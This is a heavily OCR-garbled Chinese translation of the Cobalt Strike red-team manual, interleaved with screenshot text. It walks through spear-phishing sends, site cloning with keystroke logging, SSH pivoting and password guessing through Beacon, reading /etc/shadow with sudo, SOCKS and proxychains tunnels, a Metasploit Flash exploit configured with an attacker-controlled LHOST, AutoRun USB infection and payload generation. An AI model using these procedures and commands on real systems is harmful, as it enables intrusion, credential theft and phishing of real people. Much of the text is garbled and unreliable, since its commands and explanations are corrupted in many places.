URI http://ads. losenolove,com:B80/search?id="TOKEN

nd Email lim. Stevens@acme . com
SUCCESS ['{'.u‘.'l OQueued (0,021 seconds)

end Email: Raphael.Mudge@acme,com
SUCCESS: 250 Queued (0,020 seconds)

Send Email: Whatta.Hogg@acme.com
SUCCESS: 290 Queued (0,020 seconds)

@ 3 - |Q 192,168,195 L’-’;] ¢y & (1) RoundCube Webmall :: T... X | |

roundcubeo @5 evoi () Address Book [ settngs ()
& |4 g g g @ B [ovr

Folders Date Today 15:24
.
% Trash This massage contsins graphics. If you do not see the graphics, glick here 1o view

RSAConference | sy

" "r

,a’t \'

n ¥
éiﬁ»«

UPDATE PROFILE AND SAVE =)

< )
Message 1 of

[http: //ads.losenclove. com/search id = 708c9d560da 7}




Google Search | I'm Feeling Lucky

f&AJLAfEA Cobalt Strike ShEEENBRF(ES. Cobalt Strike TEAIXFEFHR

HIfSBRIXESHE, SHMEAE:

Sha fk
%T0% B ARBR e A X RO EE TR

%To_Name% BRI AIEZIRARIER. IHRCNES NS SR MRAIEIRFF S R4 A

%URL% BYXAMNEHIEXTEES URL ZERIINE.

22 " Embed URL"” LU{# Cobalt Strike EEHEERPAIES URL LUEH
FRNGY URL HBtit, DUXFAZHAINN URL 58 E— 1S, 4815 Cobalt Strike
BEpEES ISRAFENa XA MEHBINGE. Cobalt Strike BUHREFIMLZE

BENREFIR T X, ... EREBE5I1 Cobalt Strike &/,



AL ST IR 8T sy

user computer | note pid

external

System Pro

Event Log X

Cobalt Strike View Attacks Beporting Help
DB O E=¢ B2fL S sFa Ba

extarnal nternal use computer note pid last

Clone Site

The site cl
s load. You may a

@ Clone URL: [https:/w
=1
Ever

ner copies 3 website and fix

1 Local UR:  [facebook.com

rokes on cloned stte

clone_| [ Help

0k




Cobalt Strike (Trial)
Cobalt Strike i<~ Attacks Reporting Help
oa o s F)ﬂ@bllﬂd’. LR

- user computer note pid last

Event Log X

/27 15:04:35
1506106

external Jer computer note pid

gE O E=sastrsU ol

externa




S HB{ERARS388IR S Y open relay & mail exchange record , WMNBANE, EiE

B LA AR S5 2R T B SOELARIE ERIM LS £ S hiR e,

1 "mail server” FEFAMN " ..." LIEERMRS RGN, SILUSERT

HATHME X BRI PE %M. the Random Delay &I Cobalt

Strike BEHIERE4IESRIATE], SASHEIEERIRTERDEL. NRRIRB IR,

Cobalt Strike EASIEIR RIEHE .

& Bounce To ZEMBREIHMFAIEFHR b, EARTMBIFHMEEES. 1R " WK
(Preview) " aIEHEAP—MUEABEFSILEAIME., MRFVSELERAE, Bk " &

£ (Send ) " FURIE.

SSH &i&

v/

Cobalt Strike B HE SSH ZFimiEH] UNIX BfR. It SSH ZFim@idR
Beacon IEWUESHIFHEIHIEEER.

BRBEEEIHANE Login -> ssh , ERBFEMEBHITESHIIE, HA
2l Login -> ssh (key), {ERZERHTEDIGIL.

M Beacon #=Hl& : &5 ssh [target] [user] [password] M Beacon 5z SSH

=&, £/ ssh-key [target] [user] [/path/to/key.pem] BT ZHHITED

¥E,



XLbe5$ia1T Cobalt Strike BY SSH Z P, ZFimiE R Beacon @iz
Ee B MR, WNSRERERKTD, £951E Cobalt Strike FEEI— P ISIE.
XE— SSH &8, ABRHIAEE, SR Interact FJH SSH =H8,

BN help LIE%E SSH 21> FIER. BIA help+as SR FRLSKEZ AR <
RIFAER.

BiTaRS

shell S $HBETIEIRAHIMHSFISEL. 7E Cobalt Strike BEH<SETFTREZAI
BT <SRMLE ssh £1FEIA 20 #2, Cobalt Strike FREFXLAAT BIE TS

Rk,

{8 sudo [password] [command + arguments]=ifiET sudo iZ{TE<,

IHEAIZEREFRY sudo #52-S in&.,

CD a3 E M SSH 2ERZRITIEER. PWD apdR=IRILIFER.

EEFITEH

upload fpSHEN M LEEISRITIEER. download ds<>i& &Y. M
THGSTEHISUGEE View -> Downloads Ti%ZE, ERAI LA

A downloads LIEBIEEFHITHSH T, 1% cance apIEEUHIEE#TH
AITE.

R = C2



SSH £3Eu] A4l TCPBeacons, {#F connect s L3R4S 3Rz TCP

Beacon. {&FH unlink &< Wi TCP Beacon £18&.
NZl[session] - > Listeners - > Pivot Listener ... g &5t SSH £iF%
BREUEURRE A IR ITEs. X IFILE1=AY UNIX BingERz A TCP Beacon &

5. ICSEIERSCESK SSH SFPFERFRY GatewayPorts EINUZE A yes B

ClientSpecified,

SOCKS #&NRMixOE%R

{8 socks S ELIIF RS 28 L BIEE— socks ARSS2E, 1@ ssh &iF%E
KRE. rportfwd dpSIREEIE— N @i %, 18T ssh £iEF0 Beacon

HERHIRE.

rportfwd B—NE S rportfwd fp$EK SSH SHFEF4SFEZIFTEREO. SSH
FHFER R REaE S EFim O48ES) localhost, FEIS SSH FFER

B9 GatewayPorts ISR yes 5 clientspecified

FFH Cobalt Strike SSH £iFi#{T Unix [SHIFIFE

whatta.hogg *
GRANITE @ 4672 COPPER & 740D

Prvoting

Spawn
Session ¢




Event Log X Beacon 1/2.16.20.80@2928 X

[+] host called home, sent 2 |.I"f tes
[+] estgbished—bink to child beacon:
beacons| sleep 5
Tas L L‘lij |J!_' dcon Tto s |.L'L' i-' II.” 5¢
[+] host called home, sent: 76 bytes

Interact

= Access »
whatta.hogg whatta.hogg *

GRANITE @ 5928 GRANITE @ 4672
Prvoting ¢

Deskt
Spawn File Br
Sgssion ¢ Met Wi
Proces

Sgrae;

Event Log X

=>can

address netmask

172.16.20.0 255.255.255.0

Ports: 22

Max Sockets: | 1024

Discovery none -




= portscan lfﬁ.lu.dﬂ.u-l££:lb.ﬁU.th 22 none 1024

]-;i-‘.\h ed beacon to scan ports 22 on 172.16.20.0-172.16.20.255

beacon={portscan 172,16
Tasked beaconm to sc
[+] host called home. sent

1024

on 172.16.20.0-172.16.20.255
25 bytes
f—recetved
172.16.20. 159:; (SSH-2.0-0penSSH_7.2)
172.16,20,.128:22 (SSH-2.0-0penSSH 4.7pl Debian-8ubuntul)
[+] received output
Scanner module is complete

beacon> ssh 172.16.20.128 msfadmin msfadmin

beacon> ssh 172.16.20,128 msfadmin msfadmin

Tasked beacon to SSH to 172.16,.20.128:22 as msfadmin
[+] host called home. sent: 848055 bytes
[+] host called home, sent: 33 bytes

|.+] established link to child session: 172.1




- T = Y e = W

he - e
172.16. 14. 1 whatta.hogg whatta.hogg * SYSTEM *
R GRANITE @ 5928 GRANITE & 4672 COPPER & 740 I

Event Log X I Beacon 172.16.208B1@740 X

[+] established Link to parent beacon: 172.16.20.80

[+] host called home. sent: 12 bytes

beacon> portscan 172.16.20.0-172.16.20.255 22 none 1024

Tasked beacon to scanm ports 22 on 172.16.20.0-172. 16, 20,255
[+] host called home, sent: 75325 bytes

[+] received output

172.16.20.159: 22 (55H-2.0-0penS5H /.2)

172.16.20.128: 22 (SSH-2.0-0penSSH 4.7pl Debian-8S8ubuntul)

[+] received output
Scanner module is complete

beacon> ssh 172.16.20,128 msfadmin msfadmin
Tasked beacon to SSH to 172.16.20.128:22 as msfadmin
[+] host called home, sent: 848955 bytes

+ ] i GmE £

eacon> ssh 172.16.20,159 root pfsense

Tasked beacon to SSH to 172.16.20.159:22 as root
[#+] host called home, sent: 848967 bytes
[#] host called home. sent: 45 bytes
[+] established link to child session: 172.16 . 159
L= 5 u.'h-..

FETTTEYEYY

- ) ;

whatta.hoqgg whatta.hogg * SYSTEM *
GRANITE @ 5928 GRANITE & 4672 COPPER @ 740



eacon> ssh 1/72.16.20. 159 root toor

Tasked beacon to SSH to 172.16.20.159: 22
[#] host called home sent 991 byt

SSH error: Authentication failed (userna

whatta.hogqg whatta.hogg * SYSTEM *

172.16.14.1 GRANITE @ 5928 GRANITE @ 4672 COPPER @ 740

ssh> pwd

Tasked beacon to print working directory
[+] host called home., sent: 8 bytes

Current directory is s/home /msfadmin

ssh> shell s -alh
Tasked session to run: ls -alh




ssh> download demo.exe
Tasked session to download demo.exe

[+] host called home. sent 16 bytes
started download of /home/msfadmin/demo.exe (285696 bytes)
jownload of demo.exe is ymp L et

ﬁah}.hrlp.aud;
Use: sudo [password] [command]

Elevate via sudo with the specified password and run the specifiec
ssh> sudo msfadmin cat Jetc/shadow

Tasked session to run: cat fetc/shadow (sudo)
+1 host lled home. sent 19 bytes

ssh> help rportiwd
lUse: rportfwd [bind port] [forward host] [ferward Lﬁrt]

rpertfwd stop [bind pert]

Binds the specified port on the target host. When a connection comes in,
Cobalt Strike will make a connection to the forwarded host/port and use Beacon#S
to relay traffic between the two connections.

Note: your SSH daemon may force this bound port te Listen on loopback enly. Set
GatewayPorts option in the sshd config file to yes or clientspecified to get aro

ssh> help socks
Use: socks [stop|port]

Starts a SOCKS4a server on the specified port. This server will relay
connections through this SSH session. (Cool? Yes. I think so!)

Use socks stop to stop the SOCKS4a server and terminate existing conned

e LRk v e WY SeEa Ly R e rreELp
GNU nano 2.2.6 File: /Jetc/proxychains.conf

proxy types: http, socks4, socks5
( auth types supported: "basic'-http ‘“user/pass"'-socks

ProxyList]

add proxy here ...
meanwlle

defaults set to "tor"
ocks4 127.0.0.1 1234




:~# proxychains vncviewer 127.0.0.1:5900
ProxyChains-3.1 (http://proxychains.sf.net)

S-chain| -<>-127.0.0.1:1234-<><>-127.0.0.1:5900- <
Connected to RFB server, using protocol version 3.3
Performing standard VYNC authentication
Password:

0. Activity Report

3 1. Hosts Report ;
oy | 2. indicators of Compromise i
4. Social Engineerning Report NITE @ 4672 COPPER @ 740
Reset Data

Export Data

Export Report

Short Title: .$@'55|CIFIS Report

Long Title: |Sessions Report

Description: |This report documents activity on a
session-by-session basis

Output: PDF -

——

| Mask email addresses and passwords




rie EQIT View =2arcm I 2rminal Relp

GNU nano 2.2.6 File: survey.cna

ssh_alias survey {
bshell($1l, "uname -a");
bshell($1l, "cat /fetc/issue");
Eﬁh@ll{&l. '"last -a"):

Event Log ‘.-:. Beacon 172.16.20.81@740 x- SSH 172.16.20.128 ‘.-t- Downloads X | Scripts X

frootfsurvey.cna

[+] started SOCKS4a server om: 1234

ssh>|survey

[*] Tasked session to rum: uname -a
Tasked session to run: cat Jetc/issue
Tasked session to run: last -a

[+] host called home., sent: 53 bytes
[+] received output
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686 GNU/Lin

[+] received output:

ES A L



System Profiler ERTEFinKEEENMETR. WTEREBAM Web i
S, AXPRRECRHEIARITEMIRA. System Profiler 2 UIRIRSS =5
JREIRIFAFRIARER IP HERELUR SN AR R ERMER.

E 55 System Profiler, 53 A\Z| Attacks - > Web Drive-by - > System

Profiler,
[Sz1 Profiler /g EZ4BER URI F/55 Cobalt Strike Web fR55 880w,

WNRIEIEE— Redirect URL, Cobalt Strike $E7E3RBUARIEMECE XA S

BEETEBEF URL, BF “Launch” LAEsEN System Profile,

System Profiler fEFREEEZRY Java Applet Ko BFRAORER IP #blit, FHE
B1r8Y Java iR, £ Java IREEITREMEE - XAJgERs5 R, BUE
%&5h Use Java Applet SXREYSEIE, LUMEERZE Java Applet UIER Nzl

System Profiler,

%55 Enable SSL LUEIT SSL 12tILENE. 7 Malleable C2 BEeEXHHigEE

Z9HY SSLUEPRY, LA A,

ZE M System Profiler BB, 1BHAZE View -> Applications, Cobalt

Strike B HEERF DTSR RKIIETE N FRERF.

Client-side Reconaissance


https://www.cobaltstrike.com/help-malleable-c2#validssl
https://www.cobaltstrike.com/help-malleable-c2#validssl
https://www.cobaltstrike.com/help-application-browser

Packages 4 '*.g '. .. —

external Web Drive-by ¢ Manage l.ar computer

iC Ol s -
Zpear Frish Clone Ste

Haost Fie
[-'l.'-nrr':"q:” wWed Delrsery
_'_- ']"It‘l! Fc::;lirc' AlMEBCE

Smart Applat Attack

computer

Y O O Y T O W W ™ e

extarmal internal = usar

System Profiler e 0

The systam prohbler s & chent-side reconassance 100

t hinds common applications [with version numibers)

LOC al L= | '|I'
Local Host ads Dsenciove .Ccom
Local Port 80

Redract URL: |http /fwww bnkadin,comy

verk Log X - Usa |lava Applat to et |r"'r-r"'ﬂr|r_|r'|

Launch..| hrﬂ{:

Staned service: syatem profiles
Copy and paste this URL to access &

pfads losenalove.comB0N

C:h




]II R e T i

as O

extemnal Credentials

intermal = user
Cownloads
Event Lag
Eeystrokes
Proxy Pasots
Stresnanots
Script Console

Targets

a w

letLoq II Web Log X




address =
Bl 108519741

note

Event Log X I Fhl.og |:‘.I feplications X
nt = rtemal

LN Winoows |

Mgl dales Lal I 1:[ ¢ Flavh
LNE ST et

UNEnown CRrome

1HgNTVNG: L'emo: VWINQows 7 |MaE AV)

http:/ | adsdosenclove.com/m/ - Intermmet Explorer




agaress = narme noe

Bl 152.168.1.9

BtrFIARSS
fEE]LAEid View - > Targets 5 Cobalt Strike BB RS T E, KR
85 "Biradl” HENER.

12e% Import LIS ABEZBINMSEHIS4. Cobalt Strike #2817 — 1 EHAY

AR, CifrESZH nmap AT XML U, .

e Add LAFz053 BRI Cobalt Strike RUEHEEEL,

Add Target - (O X

Add a new target.

Address: [192.168.1.0/24 |
Name: I
oS! Windows 8.1 - I




i1 =g
HIHEERITFEEZ N ENARIIZI Cobalt Strike BIEUERES. 18— IP bl

SEEER/E I FER B CIDR BRE—RFIMS AN, BE "R HBEN
RS SRS RS I EIE ST FFRTIRAE SHIFT &2,

EE— RSN EN, ARBRBEGLITHEVIRE. WRERTEREI LR
A, IREERM PRSI S EENEEEELFIFR .

ARSS

EBRERT, GREAIEN, AFIEE  Services.” ., XIGFTF Cobalt Strike
RIBRSSNLE=S, EIXE, ERILINIRERSS, AAERIRSHEER, LURMIFRIR
Ficx

Cobalt Strike Hf§ Unicode &iF

Unicode BBAIESPFHRIEIEHFEBRIVER, TXNAT Cobalt

Strike XF Unicode XABIS7 435
fmE9

Unicode RFF2IEF (RIBR) Rk, (BEARRE. RIE2ETHFED
FRE 15 5 BRETEZ RS R A IR Rk A HIH F B X RITER T .
ERIER, Java MFRRER(ER UTF-16 RISEEEMIRIFFT. UTF-16 2—FMER

R TR BRI, Rarer SIS H%mR, Cobalt Strike



B—/ Java MR/, TAREB, Cobalt Strike BEBEHREMRFHEE, 1B
YENERNA, %0 Java A HISBEEIEREARESE,

£ Windows R, 1ERBFAR. Windows FREFRRZAINEINEILIE
#AZI DOS HEA. DOS f2Fr{F A ASCII XAMBPLZE=AIFIRST. K&z 0-127
#eARAk US ASCII 71 128-255, HHapESITIRANELRBE— 1SR, B
MYFCASTE 437, HBIR 437 BIMIRE, B ESHRAFSEEIESHFHR

B, WRIEEEM OEM JRi3, IE, B4 Windows LHERE— =

[5 OEM 4RiZIRE. WIRERTIMIRFEFENEHENFZHHIE., A TIER
4w cnd.exe UL, THEERAY OEM RISEREEM.

REWAE#E, FIRFFE DOS BFIRER, (BEA—ER Windows 27,
6, 87X, Windows #A8 7 ANSI giBHIiS. XER— 1 eBiRE, W
OEM %wf8, ANSI ZgREITE 7 ANSI Win32 APl iTE =15 7L LA .
—MESH ansi fRISHGT 7 AEIRIHRBIES A BRIFRHMERESR
IR, MOA—ERTE—NF IR — T/, AIEKEEILISRER
HNFRIERTABRNTT, AEERMFRERRII—EZF .

AT, ANSI RREHAZEE, Windows APl @& B ANSI #1 Unicode s,
API B9 ANSI FRAZEZFERRAN_EFMARIX ASE]. Unicode Win32 APl FZ

{5F UTF-16 JmABRINASEL,

£ Windows 1, AJREFESFMmISEIN. B OEM 4xtY, FJLARBRECERNE
SEENAR, B ANSIHRIESAILIRTESHINA, TERERFIREES


https://en.wikipedia.org/wiki/Code_page_437
https://blogs.msdn.microsoft.com/oldnewthing/20050829-00/?p=34403

B, MHE, UTF-16 TLAE&FHIEA. B8 UTF-8, BER—Mu TR,

XF ASCH ARG EBEHNERS, BREATLESEHBR.

Beacon

Cobalt Strike g9 Beacon 4 B4RE9 ANSI #1 OEM 4REB/E N ESIETTETEN
—EB%>. Cobalt Strike {RIEEE(FAX BB X ABAIRID A BiRAY4mES.
Cobalt Strike IR RIEEE(FRIXLERS BIrAVIRAS A H i TRERD,

Cobalt Strike  View Attacks Reporting Help

O O EH=¢8LLU el sa B G

external internal = user computer note pid
TW.. 172.30.0.175 cooo  172.30.0.175 P * WIM-UCLIQENHV...

Kl 54.197.211.22 172.30.0.175 EIRE WIN-UCIOQEMHY... 7752

A W

Event Log X | Beacon 172.30.0.175@7752 X | Beacon 172.30.0.175@7212 X

beacon> shell dir c:\

[#] Tasked beacon to run: dir c:\
[+] host called home, sent: 38 bytes
[+] received output:

HIFE C PAMIRIHERE,

iR EFSR: E206-3785

c:\ BB#

89,/11/2017 126 30 out.txt
26/07/2012 144 <DIR> PerfLogs
le/07/2014 144 <DIR=> Program Files
14/06/2017 109 <DIR> Program Files (x86)
89,/12/2017 154 =DIR> Users
16/07/2017 145 =DIR= Windows

1 {EEE 30 {iFiH

5 {#E# 14,901,997,568 {irciETIA

[WIN-UCLQENHVZMS] POBft */7212
 beacon>

—REKiR , A5 BRI Z BRYEE RS R RZE BT, ANREE— P BEiR LT,
(V=g

MES, FERREREEHRT.


https://www.cobaltstrike.com/images/rouji.jpg

SEEERARSIESIMNEN, pSZBASHIAENGER, flW, NREHHES
REFRE/RFE, PR TFENFR, UEEGSEEEN T, mEtFs
IEEHUT,

Beacon YA ZEi< A BRI ANSI FREDRIBHMmAFRISE . BirE
BRY ANS| fRiS ] sE RS FRARSTEI DB AR FRINIE R, SRZRIERN
ANS| fRIORMEITRER/RF/, N make token JEARS3HE AR /RFHHIA

PR BB TIERAR(E.

£ Beacon Fh, BLap<fER UTF-8 fEsIAIIEILE. . B, XEmdRR
REXREIESABNEKRT, XERJ9 UTF-8 XA LUGSFAFHE MR

Unicode 5=

TERTIH T HRLE Beacon d5<S>{sEFE ANSI J@RBLASMYE BRI SRR TR :

Command Input Encoding Output Encoding

hashdump UTF-8

mimikatz UTF-8 UTF-8

powerpick UTF-8 UTF-8

powershell UTF-16 OEM

psinject UTF-8 UTF-8

shell ANSI OEM

TR XTFEE mimimikatz (A, BEEEE] mimimikatz ZERERER

unicode win32 API ] utf-16 ==&F, UTF-8 EMFERAJ? Cobalt Strike 5

Mimikatz R OLA utf-8 BFIFZZUAIEIIAN, FHgiHEERA utf-8,

SSH &%



Cobalt Strike B SSH =i&fEF UTF-8 friSpH T AT,

E e

Cobalt Strike FIHER UTF-8 fRAZAIN A,

FiE

BRIFRTRERIRE ERR LR A FRIFRF, EEH Cobalt Strike .
#H#A\Z| Cobalt Strike - > Preferences - > Cobalt Strike &2 GUI Font
B, XL Cobalt Strike fTEEXHEE, FRISHFEEREPD PEEANFIK,
#A\Zl Cobalt Strike - > Preferences - > Console LAEEX Cobalt Strike 2
GI=NEDREIENER"

Cobalt Strike - > Preferences - > Graph 5—* Font JEISEE X Cobalt

Strike B9 pivot EF{ERRYZK

USB/CD BalEMINE

Cobalt Strike 9 USB/CD BaIERIRE T #EE)EE CD-ROM 8 USB IX#f1284%
25 795+%F Windows XP #1 Windows Vista R4, Cobalt Strike g7
—A> autorun.info 34, ERINT — B aHERIREFESR T IRENRA 1
shell i<, XEEEERITHAEESREERKNSENABHRTERETHEE
RYRTHA TS

EIETE USB IkzhEE, Bt A\Z| Attacks - > Packages - > USB/CD

AutoPlay



-

Wedaing hots () 5 Qi vsereommoriny

This package generates an autorun.inf that abuses the

“u, Thig dizk or device containg mare than onhe type of

./ content .,ﬂ.\.L.JtOIPIay_fEatur:a. on Windqws. Use thisl p?Ekage Itg.i_nfec.t. . -
Wt 1 el el B €1 Media Label: [wedding Photos |
L . . r -
,4_‘_‘;‘ AutoPlay Action:||Open folder to view files
. qQ, Q,
== Copy pictures to a folder on my computer AutoPlay lcon: [/osystemroot ye\systern32\shell32.dll,4 ]

uzing Micrazaft S canner and Camera ‘Wizard

Executable: | || 1 ]

_n

":;T ‘iew a glidezhow of the images

= uzing YWindows Picture and Fas Viewer Launch Help

1\ Print the pi
= pictures
f‘qﬁ uging Phota Printing 'Wizard

~'y Open folder to view files
._J uzing Windows Explarer

& Taka rn artinn A

Ok l ’ Cancel

£ " Media Label " FERRiEEIKEIRRAIRIR,

IREBEERERURIF (AutoPlay Action) XA, SfREAIXFNERAT, KEER(FS
RTREFEAF BRIERE. Lot BRERaNER EE L SHHERIFT XY
BiEXf4, Windows {RIERF KR BRI R AP B R(F.
RHEIBIIR(FNY AR, SIKEIRENE, G BRERIFYIRITRIAR,. 5
S, BRRETEIEIR EE T U SHFERIRITIIEIESUG. Windows 1RIE
RPERES EERRISUG SR B m AP B

e BaENER(AutoPlay Icon), f&RILAS|FIKENES ERYSU BRI E
IEEER.

e, ERBISTRIRHRITIUE, &ETLL @i Cobalt Strike 25kl H1A73044,

BEWNREFE, AILUERB— T,

EE "Launch” FHARREXHINE. XENHNEEUTIRRIRER
£

, XEFEA REIERHAT.


https://www.cobaltstrike.com/help-windows-executable
https://www.cobaltstrike.com/help-windows-executable

W EHEERIES Windows XP &%, BRI—EBDEILAE Windows Vista EizfT.

I AERTF Windows 7,

e WWESCHIENR, EIENRFETANEIER.
Website Clone Tool (ugsefETH)

ERRmRAKXEEIERCE, BRTXYEIITIER. Cobalt Strike AIRIuLTIfE
TEaJLAFEMERIX N, Rubrabe TRER— A tubEA, HPiRmnT
—EARBLUESHENEG, LUEC)HEERRT.

ErafEiuG, 5 AE Attacks -> Web Drive-by -> Clone Site.

LB GERNEEENE ST, £ Embed S FXEHERY URL, Cobalt

RYZ FimisiE.

SefERIRIuL e USRI, 1554 Log keystrokes on cloned site &, X

BEREAERAEAN— javascript Z$HICRES.
EHRAICENEEMASEERELSASEE, BHAE View -> Web Log..

it Enable SSL LUEIT SSL i2HtERZE. £ Malleable C2 BeENHHiEES

3909 SSLIEERY, HIRITeaTA. #fR Host ERS SSLIUEFAT CN FERILEL,

XIS G T X L B AR A ELECT SEULTDRER AT BT

& “ Enable SSL to serve this content over SSL."

Delivering Beacon with a Metasploit Framework Exploit


https://www.cobaltstrike.com/help-malleable-c2#validssl
https://www.cobaltstrike.com/help-malleable-c2#validssl

U an W VL - "EL [ A B R W
U ig ol 974l 172.16 20.174 whatta hogg COPPER
< 1085149741 192.168.2 .68 bdade CLMBER

Event Log X ] Listeners X

name aaxload hast

0<2 « beacon hitp windows/beacon_httpireverse_hitp

5f > use exploit/multi/browser fadobe flash hacking team uaf
f exploit( ) > set PAYLOAD windows/meterpreter/re
PAYLOAD => windows/meterpreter/reverse http
msf exploit( > set LHOST ads. losenolove.com
LHOST => ads. losenolove.com
f explodt( = st LPORIT 80
LPORT => B0
msf exploit( > set DisablePayloadHandler True
DisablePayloaddandler = True
1 exploit| > set PrependRigrate True
Prependfigrate == True
f exploit( ) » exploit -§
Exploit running as background job.
msf exploit| ) =
Using URL s—hd-tmefle 8000028, L 00X 0680
Lacal IP: L]

Server started




|l Manage

B 0851970 -—
. L. 4L L¥a m“ F‘.

Powershell web Delrnvery
Signed Applet Artack
Smart Applet Attack
System Profiler

Event Log X | Lsteners X

external internal = user computer
Kl 108519741 172.16.20.174

Clone Site =L

The site cloner copses a website and fces the code so
mages load. You may add explotts to cloned sites or

Clone UAL: ri‘lt‘tp;rrm.gunﬁ-c.:uﬂw |

Local Umi: [jsearch |

Local Host: | ads losenclove com |

Local Port: |80 |

aiock: EENCREETEETRE |

71 Log keystrokes on cloned site

Cefed e




Success

Started serace: cloned site
Copy and paste this URL to access &

e M i, Ok wo, Whoyper, Ming, | 2l el News, Pholos A Videoa Iﬁlrfﬂf!l’lﬂ'ﬂ'"
> lluwmn—-dmm-m Ow] + [Jrsicon - o, Ouosk,... |
Tum on suggestions (send keystrokes to Bing) . S
173 A

@8 cuvcokcom Q sore ) otce @ oreror

NEWS WEATHER ENTERTAINMINT SPORTS MONEY LUFESTVIE HE



external internal = user computer

i Farelari)s el el COPPER
108.51.897.41 172.16.48.80 WIN-M|DTGN2QOGK
108.51.97.41 192.168.2.66 CLIMBER

Event Log X | Listeners X I Web Log

09/17 15:02:23 visit fromi 108 S1 _O07.41]1
Request: GET fsearch
page Clone of: http://www.google.com/. Serves http://192.168. 1. 2:8080/7tOXLXI
Mozilla/5.0 (Windows NT 6.1:; Trident/7.0; rv:11.0) Llike Gecko

09/17 15:02:28 visit from: 108.51.97.41
Request: GET fimages/branding/product/ico/googleg lodp.ico
Response
Mozilla/5.0 (Windows NT 6.1: Trident/7.0: rv:11.08) Llike Gecko

09/17 15:02:2 188.51.97.41
GET ffavicon.ico
Response
Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) Llike Gecko

09717 15:02:32 visit from: 108.51.97.41
Request: GET /8037i/

beacon beacon stager

Covert VPN

Cobalt Strike @iTH Covert VPN IhgEskiE(t VPN 4£% ., Covert VPN 7£

Cobalt Strike R EREET— N8O, FHELEOERERIBIRMLE,

HN{aJERE Covert VPN



LS Covert VPN, BAEEREZEAIEN, #HA
Z| [beacon] - > Pivoting - > Deploy VPN, iEREFEE Covert VPN 455E

FpimieEO. MREAMEO, Bk Add ke,

Deploy VFN Client

IPvd Address IPwd Metrmask Hardware MAC
172.16.48.80 255.235.255.0 00:0c:29:d9:fa:41
Local Interface: IphearD - H Add |

[¢] Clone host MAC address

[ Deploy H Help l

S FEEY] MAC 24, EAtEOSimieENEEHERER MAC ik,

1%+% Deploy £ B#5_L/E5) Covert VPN 2 i, Covert VPN EEEER ()

—H Covert VPN ZOHEE, B LUSERRS EAMEH RO —HGER
E. fEA ifconfig BEcEH IP itelit, IRBERMEESR DHCP fR5S=s, NETLAE
FRERFRFRINETENZIRSSFIEXK IP ittt

EEEO

EEIRIERY Covert VPN 0O, 15 AZ Cobalt Strike - > Interfaces, 75X
B2, Cobalt Strike 5&7= Covert VPN 00, BiINEESARUALBEIENE

ERAIERIRIFTE. REEZR—MRO, AfRiEE "Remove” BiRizEM



HXTNTFE Covert VPN Z i, . Covert VPN BiEEFEoAHIFREIGHT S
4, HIZREEIEEARAEL.

1 Add LABCEFAY Covert VPN 2,
[iy—t;-{m

Covert VPN ZO8IFE—1"WEEDRes(Network Tap)fl— NEZLAKMIMGHTT
BENEE, BEicEiE0, HEEEO|R (XEMEET ifconfig #{ERA

Z) 1 MAC ik,

Setup Interface

Start a network interface and listener for CovertWwPM., -
When a CovertVPM client is deployed, you will have a

Interface: [phearl

Local Port:  [7486

l
MAC Address: [ce:ﬁe:ld:eB:fc:?d ]
l
|

Channel: |TCP (Bind) '

[ Launch H Help l

VPN #ZMiRE

IRV RERIEOBISE Covert VPN i&{Si&i&. Covert VPN TILAEE UDP
TRz, TCPiERE, ICMP ZEA HTTP #MCRBELAKMIIE, TCP (RMA) BE
89 B#mzEEEl Cobalt Strike sCf5l, TCP (Bind) i@i&Ei&EiT Beacon BE5 Cobalt

Strike f%i& VPN,



Cobalt Strike R RIEGIEREIIA IR OFEEIRENEIES Covert VPN EFH
ImHIIE(E.
Covert VPN HTTP i&i&fsE Cobalt Strike Web fR5328. ERILER—iwmA L

FEEH(th Cobalt Strike Web RFEFERFFIZ1 Covert VPN HTTP @&,

FFRBEREMRE, B UDP @&, 5 TCP#1 HTTP iE&tgtk, UDP @ER

HFER/\. ARFEEBIMNKIE, BEA ICMP, HTTP & TCP (Bind) Ei&.

it5: LHIhEEfE Windows 10 Bir EANEAER.

8l# Windows Dropper EXE

dropper E—1MaEHUTNH, ERNXEEFHIIME L, 178, ReEaall
BEERAAHITIGERNERE,., Attacks -> Packages -> Windows

Dropper E 8184 — Windows Dropper,
Embedded File 2ERARTHUTAIS . ERTLATEILCAME FREARI SL42REY,

File Name X4 FEZIFEZRTRIRFR, ISNIZ/Re] seFIL A FR 5280 dropper
A9 XIBFRHELES, Cobalt Strike 21FERNBIS4FEZIFIFAY Documents
XA,

UEHE Generate 45} Dropper A[#1T34.

ERErwiEss (icon editor ) RFRIFUTIHRIEINREBUIERAT M.

Cobalt Strike g9 Artifact Kit &p% Windows Dropper BJH117314.


http://icofx.ro/
http://icofx.ro/
https://www.cobaltstrike.com/help-artifact-kit

€132 Windows EXE

Attacks -> Packages -> Windows Executabl £55{—> win32 {ilFEsAY

windows BJ#11T artifact, IHWEIRM T J14 @ HI%EIR :
Windows EXE £ Windows a[#1{73214&,

Windows Service EXE 2lnifEFZi=HIEETm<SH Windows BJ#47314,
SR LAERL AT AT S4BT sc B9 Windows RS, i{FH

Metasploit® Framework Y PsExec &R EIZE B E N AJ T34,

Windows DLL (32-bit) 22— x86 Windows DLL,

Windows DLL (64-bit)2— x64 Windows DLL, #15>ki%+ Use x64

payload” , M x64 DLL 4R 32 fOAREFEMIT=RTRRIZHIE.

x86 F x64 DLL IS 5 rundll32.exe Z5HY Start 2. FRESARZE

89 rundll32.exe Mas$1T00%; DLL,

rundll32 foo.dll,Start

LEINEEAE Y x86 artifacts, ERIAIEIR T2t x86 28249 (FRIEBEIREE) . 1%

Use x64 payload 1ELAERE S x64 BEZRMIAY x64 artifacts,

&+ Sign executable file 1E, FFRMIBESRZUEEXT EXE 8¢ DLL artifacts #17

&, WIE Malleable C2 Bt& S 4igEILT,

Cobalt Strike SEFAE Artifact Kit ApgltbiaH.

8l# Windows Executable (Stageless)


https://www.cobaltstrike.com/help-malleable-c2#codesign
https://www.cobaltstrike.com/help-artifact-kit

Attacks -> Packages -> Windows Executable (S) 45— Windows &
H1T artifacts, EFEE Cobalt Strike i Beacon (i85 stagers, EIEHE

REBET) . MERME T JL M-

PowerShell 2—* PowerShell iz, ERIREFHIEN—1FISEH Beacon,
Raw 2— 82 Beacon IS ETTKAIAIEIR,

Windows EXE 2 Windows BJ#147314.

Windows Service EXE 2L ARFZ1=HIETR2Ea<SAY Windows aTH#17344,
SR LAERBIL AT AT BT E sc BY Windows RS, Ei{EH

Metasploit® Framework A9 PsExec #&HREIEE B E X AJ AT,
